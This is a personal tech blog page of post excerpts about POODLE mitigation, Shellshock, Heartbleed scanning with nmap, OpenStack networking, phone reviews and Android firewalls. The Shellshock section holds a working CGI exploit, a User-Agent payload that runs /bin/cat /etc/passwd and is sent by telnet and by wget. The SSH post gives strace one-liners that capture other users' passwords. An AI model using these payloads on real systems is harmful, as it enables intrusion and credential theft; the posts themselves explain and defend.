Lately, we have seen some really bad vulnerabilities in regards to SSL (Heartbleed) and Bash (later dubbed “Shellshock”), along with some slightly “lighter” linux/open source ones.

In September of this year, Google first discovered a fallback attack for SSL v3.0, and they wrote published a paper on it:
Today, it was officially confirmed that SSL version 3.0 is no longer secure, and thus, it is no longer recommended in client software (ex: web browsers, mail clients, etc…) or server software (ex: apache, postfix, etc…).
This was dubbed the “POODLE” vulnerability, and given CVE-2014-3566

A “POODLE attack” can be used against any website or browser that still supports SSLv3.
Browsers and websites need to turn off SSLv3 as soon as possible in order to avoid compromising sensitive/private information. Even though a really small percent of servers/browsers are vulnerable (mozilla estimates 0.3% of the internet), that is quite large in the total number of users.

How can I check if my browser is Vulnerable?
The guys at dshield setup this nice browser check:

If you get something like Error code: ssl_error_cipher_disallowed_for_version in FireFox, it’s actually a good thing. It means that you are secure.

Here is an even better check (which Curtis Wilcox pointed me at):

Chris La Nauze mentioned another website which seems great (if not even better than dshield’s):

Until an official patch comes out (this is a design bug, not a software bug – it will most likely be just end-of-lifed), you can turn off SSLv3 support for these major products:

Patching Firefox:
In firefox, go to “about:config“, find security.tls.version.min and set the value to 1. Then restart your browser to drop any open SSL connections.

Patching in Internet Explorer (IE):
Go to: Setting -> Internet Options -> Advanced Tab -> Uncheck “SSLv3″ under “Security”

Patching Apache:
Edit your ssl.conf (or equivalent virtual config) and add: SSLProtocol All -SSLv2 -SSLv3
Then restart apache: sudo service apache2 restart

Patching Nginx
Edit your config and add: ssl_protocols: TLSv1 TLSv1.1 TLSv1.2;
Then restart nginx: sudo service nginx restart

Patching Postfix
Edit your config and change: smtpd_tls_mandatory_protocols=!SSLv2,!SSLv3
Then restart postfix: sudo service postfix restart

Patching IIS
Open regedit and go to:
HKey_Local_Machine\System\CurrentControlSet\Control\SecurityProviders \SCHANNEL\Protocols
Under Protocols you will probably have a folder called “SSL 2.0“. Please create a “SSL 3.0” folder if you don’t have one already. Under the SSL 3.0 folder, please create a DWORD value called “Enabled” with value “0“. At this point, you have to reboot the server.

Another way to solve this problem, per Google is to “use SSL implementations that take advantage of the TLS_FALLBACK_SCSV feature. This feature notifies the other side that you first tried the stronger cipher. This way, they can reject the downgrade attempt that may have been introduced by a MitM attack.”.

As some of you may have heard, a very serious remote vulnerability was discovered disclosed today within bash.

A quick summary of the problem is that bash does not properly process function definitions, which can be exported like shell variables. This is a bit like a SQL/XSS injection problem — you provide an “end” to your input, and continue writing other functions/calls after it, which then get executed.

A quick example:

env x='() { :;}; echo vulnerable!' bash -c ''

A vulnerable system looks like this:

A patched system looks like this:
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x’

The second check is:

cd /tmp; env X='() { (a)=>\' bash -c "echo date"; cat echo

A vulnerable system looks like this:

A patched system looks like this:

This can be exploited remotely via HTTP requests to CGIs, but also, via AcceptEnv variables, TERM, and SSH_ORIGINAL_COMMAND overrides. By default, openssh accepts LANG and LCC* env. variables.

Important about CGIs/HTTP:
There has been a lot of confusion online about how/what you are exploiting via CGI. By scanning the IP of a server, you are really going for the / (root) path of the server. This check is basically good for two things — discovering vulnerable embedded devices, and finding people that have placed their cgi-bin root on /. The reality is that these are the “quick” targets, but they are not the many.

An example of a proper CGI exploit would look like this, given that /cgi-bin/index.cgi exists and is written in bash:

% telnet 80                                    
Connected to
Escape character is '^]'.
get /cgi-bin/index.cgi http.1.1
user-agent: () { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd

HTTP/1.1 200 OK
Date: Sat, 27 Sep 2014 01:43:00 GMT
Server: Apache/2.4.6 (CentOS)
"Content-type: text/plain"
Connection: close

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
Connection closed by foreign host.

​Here is the easier way w/ wget in one line:

wget -S -O - -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"​

In this case, throwing stuff at the root ( would produce absolutely nothing.

Also, it’s interesting to note that it looks like there is no way to exploit the second vulnerability via HTTP/CGI.

The CVE for this one the first one is: It seems like this is a “temporary” patch.

The permanent will be is released under: Some are referring to this as “shellshock”.

An update on this is that the following CVEs exist: CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278 – and they are all related under the now catchy “Shellshock” vulnerability.

The full and initial details can be found here:

Also, people like Robert have already started scanning for this: (this is actually an elegant way of doing it I think this has a lot of issues actually — see above about the “Important about CGIs”)

Rapid7 wrote an excellent blog post about this: You can see a lot of details about the “panic” effect versus the reality of this vulnerability.

Day of release – Update #1:
At last, it looks like there is already an exploit in the wild:

(note: at this point there are many exploits now — including worms and botnets)

Day of release – Update 2:
It looks like there is a MetaSploit module already:

At last — here is a GREAT video summarizing everything from the SANS institute:

UPDATE: Insecure has released v6.46 which contains all of these patches. Just grab the latest and follow the usage info here

If you don’t know what Heartbleed is, you can find out here: If you don’t want to read the details above, XKCD put together a great short comic about it:

NOTE: I first put this together 3 days ago, but I am just now releasing after being asked by many people for the package and directions.

The problem: How do you scan a bit more than 5 class B’s (~328000 IP addresses) before any off the vendors (Tenable, Qualys, Rapid7) have released signatures? Easy – you build your own!
The goal was to scan as many IPs as possible at work as quickly as possible.

After using the Heartbleed github project ( and creating a Dancer web service around it, I realized that there still needed to be a faster way to scan for this. How much faster?

How about a /24 (254 IP addresses) in less than 10 seconds.

I have a patched version of NMAP already (6.40) that has Heartbleed checks.
Again, Insecure has released v.6.46 which has these patches. Grab that and follow these directions

Then, you can scan like this:

/usr/local/bin/nmap --open --script ssl-heartbleed -p 443 SUBNET-CIDR-HERE


If you want cleaner results, for a script, a good way to filter the output will be with something like this:

/usr/local/bin/nmap --open --script ssl-heartbleed -p 443 SUBNET-CIDR-HERE | sed -e '/report for/,/ssl-heartbleed/!d' | grep -v 'Host is up' | grep -v 'SERVICE' | sed -r 's/Nmap scan report for //'

This produced a clean 2 line result, where if it’s vulnerable, it will have “ssl-heartbleed” under each host/IP address entry.


How to build your own patched NMAP binary?

But what if you don’t trust my binary? Good – let me show you how to build one yourself:

Continue Reading →Ridiculously fast Heartbleed Subnet Scanner – nmap heartbleed howto and tutorial

There are many ways to exploit a web server and gain access to the file system – read or write (sometimes both). This becomes even easier when one hosts CGIs or other dynamic code – especially when that code includes user based inputs. Recently, I found one of the most elegant exploits that I have seen for this kind of an attack vector, so I wanted to go over it and share some information about how it works and what exactly it exploits.

To setup the background for this scenario, imagine a web server (ex: ‘’) setup with userdirs, which allows CGI execution – not an uncommon situation at all. This means that ‘user1′ will have a directory like ‘public_html’, which will become directly accessible at: ‘’. For example, creating a ‘blah’ folder in ‘/home/user1/public_html’, will create ‘’ on the web.

At some point, ‘user1′ creates a file called ‘x.cgi’, which simply has a GET parameter called ‘file’, and if that parameter is a file that exists, it loads it via an include. Otherwise, it loads a default.html file. Let’s assume that ‘x.cgi’ is a PHP file which looks like this:

// x.cgi file - used as a "pre-processor" for loading HTML files
$file = $_REQUEST['f'];
if (file_exists($file) ) {
else {

Continue Reading →Web Exploit – user modifiable Read and Execute can give you Write access

Setting up the network interfaces is something that seems to give people a hard time (clearly visible here: If you follow that guide, one of the most confusing points is how the Open vSwitch fits into the existing architecture.

Assuming you are following the guide, you have 2 networks: -> private -> public

Your Network Controller, again per the guide, will have an internal-network interface of “” and an external-network interface of “”

Your starting network config (/etc/network/interfaces) file will look like this:

# Internal Network
auto eth0
iface eth0 inet static

# External Network
auto eth1
iface eth1 inet static

Now, you will first install the packages needed:

# apt-get install quantum-plugin-openvswitch-agent \
quantum-dhcp-agent quantum-l3-agent

Then you will start the Open vSwitch:

# service openvswitch-switch start

Continue Reading →OpenStack – Network Controller – Open vSwitch – Network Interfaces Config

Recently, while setting up my the network controller for OpenStack, I saw this message:

# tail -f /var/log/quantum/openvswitch-agent.log

ERROR [quantum.plugins.openvswitch.agent.ovs_quantum_agent] Failed to create OVS patch port. Cannot have tunneling enabled on this agent, since this version of OVS does not support tunnels or patch ports. Agent terminated!

What this means is that the versio of the datapath (shipped by Ubuntu) does not have the support needed to create tunnels or patch ports. This happened on Ubuntu 13.04.

Fortunately, it is VERY easy to solve this. You need to simply build your own datapath for your kernel. For this, you OpenvSwitch’s datapath source, and you need module-assistant:

apt-get install -y openvswitch-datapath-source module-assistant

You can then grab your kernel headers and any other dependencies:

module-assistant prepare

I noticed that either the kernel headers do not have the version.h in the right place, or the module-assistant looks in the wrong place. You can solve this by doing:

cd /lib/modules/`uname -r`/build/include/linux
ln -s ../generated/uapi/linux/version.h .

And finally, to download, build, and install the modulle:

module-assistant auto-install openvswitch-datapath

Now, reboot your system so that the new module is loaded, and you are ready to go. You will notice that “/var/log/quantum/openvswitch-agent.log” no longer has this issue.

Disclaimer: I wrote this myself and posted it first on Then I posted it on I am re-posting it here because I think it will benefit people, and I would like to save a copy of it.

[I am going at this from truly personal experience, along with some background so that you know what kind of an user I am. If you are interested in the specs and overall usage, there are thousands of reviews. I hope that people will appreciate this a bit more than a typical “i used it, it made phone calls, it lasted 12 hours, the screen is small, the back over heated, the keyboard was amazing, it’s not an iPhone or Android and there are no apps” review]

First – a bit of background about me and cellphones: to call myself a cellphone enthusiast/a power user, or someone who is obsessed with cellphones would be kind of like calling Tiger Woods “ok at golf” or the Bugatti Veyron “faster than a honda”. To give you some quick numbers: I’ve gone though >30 phones in ~4 years (many many more since the early part of 2000), I have switched through each major US carrier about ~5 times, and in the whole process, I have only paid a cancellation fee twice. [Please note that I have really toned this down lately – mostly because carriers like Samsung have found a way to push a new device every 3-4 months without doing anything exciting and ground breaking.]

Continue Reading →1 Week (so far) with the BlackBerry Q10!

The Scenario:

Let’s say you are at a coffee shop with public internet access, and you don’t want someone snooping on your traffic, so you VPN to your work. However, you also don’t want to tunnel personal stuff out of your work VPN (chat, facebook, youtube, your personal email maybe?), so the question becomes, how do you create 2 different firewalls – one that ONLY allows you to VPN and does not allow any other applications access, and one that then controls the traffic within the VPN channel so that you can utilize the connection for some apps but not others?

At this point, there are only 2 “methods” of running a Firewall on Android: having root and managing/accessing IPTables, or, the only alternative – creating a sub-VPN channel that you pipe the traffic over and filter (which does not require root). Unfortunately, the second type (without root) will not work for this, since we will need to utilize the VPN channel ourselves for our VPN, and to my knowledge, Android let’s you setup only 1 active VPN channel. So, you need 1.) a way to root and 2.) a good Firewall

Continue Reading →Firewall the Inside of your OpenVPN or L2TP/IPSec Tunnel on Android

I read an interesting article last night which highlited some problems with the way SSH process communication happens. I am writing a post about it because it is so simple and yet so effective.

Here is the scenario:
Let’s say that you have a linux system running the latest set of patches/OpenSSH. You have multiple users on the system, and one or more of them have sudo/su/escalated privileges. The idea is that when user ‘A’ connects to the system, user ‘C’ will be able to sniff out their password.

The details:
The idea is that almost all ssh daemons by default are configured to use “Privilege Separation”. This means that sshd spawns a process (child) that is unprivileged to listen for incoming network requests. After the user authenticates, another process gets created running as the authenticated user. The magic happens in between these two processes.

A simple example:
User ‘C’ ssh-es into the system, escalates their privledges (either by legitimate or non-legitimate means) and starts listening for newly created ssh ‘net’ processes. As soon as user ‘C’ sees a process being crated, they immediately attach strace to it.

A simple way to do it is by:

ps aux | grep ssh | grep net | awk {' print $2'} | xargs -L1 strace -e write -p

or even better:

while [ 1 ]; do ps aux | grep ssh | grep net | awk {' print $2'} | xargs -L1 strace -e write -p; done


Continue Reading →Sniffing SSH Password from the Server Side

This will be my last post about the Google Nexus S since I just purchased (and received) my Nexus 4. That said, I really wanted to give one last update on the Nexus S since it looks like things have changed quite a bit with the update process. While it looks more complicated at first, it’s actually a lot more flexible now. Here is how to upgrade your Nexus S manually to a full 4.1.2 Jelly Bean, even if you have not received it yet/are in a country where the updates are not coming in, or are on a carrier which is not pushing OTA updates.

The first step is to go to Google’s Official Factory Images for Nexus Devices

Now, you have one of four choices for sections, based on your phone:

  • If you have the (MOST POPULAR) T-Mobile or ATT (GSM) version of the Nexus S, go to: “Factory Images “soju” for Nexus S (worldwide version, i9020t and i9023)”
  • If you have the Sprint (4G) version, go to: “Factory Images “sojus” for Nexus S 4G (d720)”
  • If you have the Korean version (VERY RARE), go to: “Factory Images “sojuk” for Nexus S (Korea version, m200)”
  • If you have the NON-1Ghz (STILL RARE) version, go to: “Factory Images “sojua” for Nexus S (850MHz version, i9020a)”

Let’s assume you have the T-Mobile/ATT one since most people have that.
You will want the “4.1.2 (JZO54K)” image, which you can download from their official link:

(md5: 788233dca5954532acda63039f814b4d)

Continue Reading →Google Nexus S – update manually to 4.1.2 Jelly Bean